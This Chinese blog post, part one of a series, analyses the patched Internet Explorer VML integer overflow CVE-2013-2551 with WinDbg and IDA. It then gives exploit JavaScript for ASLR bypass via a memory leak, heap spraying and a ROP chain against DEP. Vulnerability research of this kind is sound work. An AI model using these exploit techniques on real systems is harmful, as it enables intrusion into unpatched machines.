CVE-2013-2551樣本分析及漏洞利用和防御(上篇)
0x0 寫在前面
VUPEN團(tuán)隊(duì)在Pwn2Own 2013黑客大賽上使用漏洞攻破Windows 8環(huán)境下的IE10,隨后在其博客上公開了技術(shù)細(xì)節(jié)。根據(jù)VUPEN描述,該漏洞產(chǎn)生于VGX.DLL模塊,在VML語言中處理圖形標(biāo)簽的stroke子元素的dashstyle存在安全隱患
微軟在安全公告MS13-037中詳細(xì)列舉了受影響軟件范圍從IE6-IE10,并給出相應(yīng)平臺(tái)的安全更新
本文調(diào)試的Poc由4B5F5F4B根據(jù)VUPEN在博客中公開的信息構(gòu)造
調(diào)試思路是對(duì)IE開啟頁堆,利用調(diào)試器支持,實(shí)時(shí)檢測到溢出之后,根據(jù)函數(shù)調(diào)用關(guān)系往上一層一層跟蹤數(shù)據(jù)來源和閱讀反匯編代碼,尋找漏洞觸發(fā)的關(guān)鍵點(diǎn)
0x1 調(diào)試環(huán)境 & 樣本信息
1.1 調(diào)試環(huán)境
[操作系統(tǒng)]:Windows 7 Ultimate SP1(X64)、 Windows 7 Ultimate SP1(X86)
[瀏覽器]:Internet Explorer 8.0.7601.17514
[調(diào)試器]:Windbg 6.11.0001.402 X86
[反匯編器]:IDA Pro 6.8.150423(32-bit)
1.2 樣本信息
0x2 樣本調(diào)試
2.1 對(duì)IE瀏覽器開啟頁堆

2.2 運(yùn)行樣本
使用Windbg附加IE,然后運(yùn)行樣本,允許加載ActiveX控件,并點(diǎn)擊頁面中的crash按鈕

2.3 查看崩潰時(shí)信息
崩潰語句信息
0:012> g
(894.f80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=201c7064 ebx=72a94964 ecx=00000001 edx=00000000 esi=201c7060 edi=08b69d44
eip=76de9966 esp=08b69d00 ebp=08b69d08 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
msvcrt!memcpy+0x158:
76de9966 8b448efc mov eax,dword ptr [esi+ecx*4-4] ds:002b:201c7060=????????
棧的調(diào)用關(guān)系
0:004> kb
ChildEBP RetAddr Args to Child
08b69d08 72a3cfa9 08b69d44 201c7060 00000004 msvcrt!memcpy+0x158
08b69d1c 72a8da0f 20c5afe8 08b69d44 00000044 vgx!ORG::Get+0x27
08b69d48 76c53e75 20c5afe8 00000044 08b69dac vgx!COALineDashStyleArray::get_item+0x8c
08b69d68 76c53cef 20e62ff0 00000024 00000004 OLEAUT32!DispCallFunc+0x165
...(lines have been omitted)...
查看vgx模塊的詳細(xì)信息
0:004> lm vm vgx
start end module name
72a10000 72ad1000 vgx (pdb symbols) c:symboslVGX.pdb3CED25965F214824ABDF507AE4541DE32VGX.pdb
Loaded symbol image file: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll
Image path: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll
Image name: vgx.dll
Timestamp: Tue Jul 14 09:11:08 2009 (4A5BDB2C)
CheckSum: 000C2C1E
ImageSize: 000C1000
File version: 8.0.7600.16385
Product version: 8.0.7600.16385
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: Microsoft Corporation
ProductName: Windows? Internet Explorer
InternalName: VGX.DLL
OriginalFilename: VGX.DLL
ProductVersion: 8.00.7600.16385
FileVersion: 8.00.7600.16385 (win7_rtm.090713-1255)
FileDescription: Microsoft Vector Graphics Rendering(VML)
LegalCopyright: ? Microsoft Corporation. All rights reserved.
2.4 使用IDA查看崩潰點(diǎn)附近代碼
msvcrt!memcpy函數(shù)經(jīng)過千錘百煉幾乎不用去懷疑,直接查看上層調(diào)用
計(jì)算偏移:0x72a3cfa4 – 0x72a10000 = 0x2CFA4
該版本vgx.dll模塊在IDA中的基址為:0x198C0000
經(jīng)過計(jì)算,memcpy函數(shù)在地址0x198ECFA4處被調(diào)用

經(jīng)過分析,src為結(jié)構(gòu)體第4項(xiàng)數(shù)據(jù) + (結(jié)構(gòu)體第2項(xiàng)數(shù)據(jù) && 0xFFFF)* arg_8
2.5 繼續(xù)查看上層函數(shù)
在Windbg中查看(vgx!COALineDashStyleArray::get_item+0x89)
72a8da0c ff511c call dword ptr [ecx+1Ch]
72a8da0f 8b4510 mov eax,dword ptr [ebp+10h]
計(jì)算該語句在IDA中的地址
0x72a8da0c - 0x72a10000 + 0x198C0000 = 0x1993DA0C
使用IDA查看該函數(shù)

使用Windbg跟蹤vgx!COALineDashStyleArray::get_item的執(zhí)行流程
重新運(yùn)行樣本
0:015> .childdbg 1
Processes created by the current process will be debugged
0:015> bu 72a8da0c - 72a10000 + vgx.dll
0:015> bu 72a8d983 - 72a10000 + vgx.dll
0:015> bl
0 e 70a4da0c 0001 (0001) 0:**** vgx!COALineDashStyleArray::get_item+0x89
1 e 70a4d983 0001 (0001) 0:**** vgx!COALineDashStyleArray::get_item
經(jīng)過調(diào)試,在vgx!COALineDashStyleArray::get_item+0x70處調(diào)用vgx!ORG::CElements函數(shù)
vgx!COALineDashStyleArray::get_item+0x70:
70a4d9f3 ff512c call dword ptr [ecx+2Ch] ds:002b:709e7284={vgx!ORG::CElements (709fd079)}
單步步入vgx!ORG::CElements函數(shù)

根據(jù)movzx指令判斷,該數(shù)值為無符號(hào)數(shù)
函數(shù)返回后,對(duì)使用0擴(kuò)展之后的無符號(hào)數(shù)進(jìn)行了有符號(hào)的條件判斷

之前的unsigned short int 0擴(kuò)展之后被強(qiáng)轉(zhuǎn)為 int,且樣本傳入的數(shù)值為0xFFFF,造成整數(shù)溢出
0x3 漏洞利用
本文漏洞利用針對(duì)沒打任何補(bǔ)丁的Windows 7 Ultimate SP1(X86) 環(huán)境,結(jié)合源碼和調(diào)試分析利用過程
本文中漏洞利用代碼主要參考調(diào)試的Poc樣本代碼、以及網(wǎng)上的公開代碼整理編寫
漏洞利用成功截圖

Poc源碼中溢出的關(guān)鍵語句:
vml1.dashstyle.array.length = 0 - 1
3.1 過ASLR
過ASLR的源碼大致如下:
for (var i=0; i<0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "Khwarezm111";
marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);
if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
ntdll_base=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16 ) - 0x470B0;
在賦值之后,加入彈框把流程中斷下來
vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300;
alert("pause");
使用Windbg附加運(yùn)行,彈出窗口后在Windbg上點(diǎn)擊暫停,然后搜索數(shù)值0x7ffe0300
0:015> s -b 0x0 L?0x7fffffff 00 03 fe 7f
020ce7c8 00 03 fe 7f c4 ea 0d 02-90 d5 0c 02 00 00 00 00 ................
020dbfa3 00 03 fe 7f 25 01 00 5b-03 14 1e 74 05 00 00 0a ....%..[...t....
020dccb8 00 03 fe 7f 00 00 00 00-80 00 0b 02 00 00 00 00 ................
04be5c78 00 03 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
762113e6 00 03 fe 7f ff 12 c2 04-00 90 90 90 90 90 90 90 ................
76212b41 00 03 fe 7f ff 12 c2 08-00 90 90 90 90 90 b8 01 ................
搜索的記錄太多無法驗(yàn)證,那么我們?cè)偎阉髯址?quot;Khwarezm111"
0:015> s -u 0x0 L?0x7fffffff "Khwarezm111"
0044df04 004b 0068 0077 0061 0072 0065 007a 006d K.h.w.a.r.e.z.m.
004b48b8 004b 0068 0077 0061 0072 0065 007a 006d K.h.w.a.r.e.z.m.
接著搜索數(shù)值0x0044df04
0:015> s -b 0x0 L?0x7fffffff 04 df 44 00
04bc8568 04 df 44 00 00 00 00 00-00 00 00 00 00 00 00 00 ..D.............
04c0cdcc 04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00 ..D.....(F.w..D.
04c0cdd8 04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c ..D.|x........dl
04c22c84 04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00 ..D.....(F.w..D.
04c22c90 04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c ..D.|x........dl
結(jié)合以上三個(gè)搜索結(jié)果,可以猜測地址0x04be5c78就是我們尋找的保存數(shù)值0x7ffe0300的地方
在內(nèi)存窗口驗(yàn)證猜測

往前翻,其內(nèi)存布局如下

查看圈紅處的數(shù)據(jù)
0:015> db 04a08124 L16
04a08124 4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00 K.h.w.a.r.e.z.m.
04a08134 31 00 31 00 31 00 1.1.1.
0:015> db 04a0814c L16
04a0814c 4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00 K.h.w.a.r.e.z.m.
04a0815c 31 00 31 00 31 00 1.1.1.
可以看見,上訴代碼在一片對(duì)象中間利用dashstyle屬性插入了和一個(gè)對(duì)象相同大小的數(shù)組,利用溢出,定位到數(shù)組后一個(gè)對(duì)象保存字符串首地址的地方,通過越界寫入任意值,然后利用對(duì)象的屬性定位到該任意值
本文利用固定偏移泄露NTDLL.DLL的基址
0:015> dd 7ffe0300 L1
7ffe0300 778970b0
0:015> u 778970b0
ntdll!KiFastSystemCall:
778970b0 8bd4 mov edx,esp
778970b2 0f34 sysenter
3.2 精確噴射
精確堆噴到地址0x0c0c0c0c,源碼大致如下:
var fill = unescape("%u0c0c%u0c0c");
while (fill.length < 0x1000){
fill += fill;
}
// [ padding offset ]
padding = fill.substring(0, 0x5F6);
// [ fill each chunk with 0x1000 bytes ]
evilcode = padding + rop_chains + shellcode + fill.substring(0, 0x800 - padding.length - rop_chains.length - shellcode.length);
3.3 過DEP
使用ROP鏈過DEP,源碼大致如下:
function getRealAddr(base ,offect){
var real_addr = base + offect;
var str = real_addr.toString(16);
var s1 = str.substring(0,4);
var s2 = str.substring(4,8);
return "%u" + s2 + "%u" + s1
}
ntdll_base = getNtdllBase();
stack_pivot = getRealAddr(ntdll_base,0x0001578a);
stack_pivot += getRealAddr(ntdll_base,0x000096c9);
stack_pivot += getRealAddr(ntdll_base,0x00015789);
ntdll_rop = getRealAddr(ntdll_base ,0x45F18);
ntdll_rop += "%u0c40%u0c0c";
ntdll_rop += "%uffff%uffff";
ntdll_rop += "%u0c34%u0c0c";
ntdll_rop += "%u0c38%u0c0c";
ntdll_rop += "%u0040%u0000";
ntdll_rop += "%u0c3c%u0c0c";
ntdll_rop += "%u0c40%u0c0c";
ntdll_rop += "%u0400%u0000";
ntdll_rop += "%u4141%u4141";
rop_chains = unescape(stack_pivot + ntdll_rop);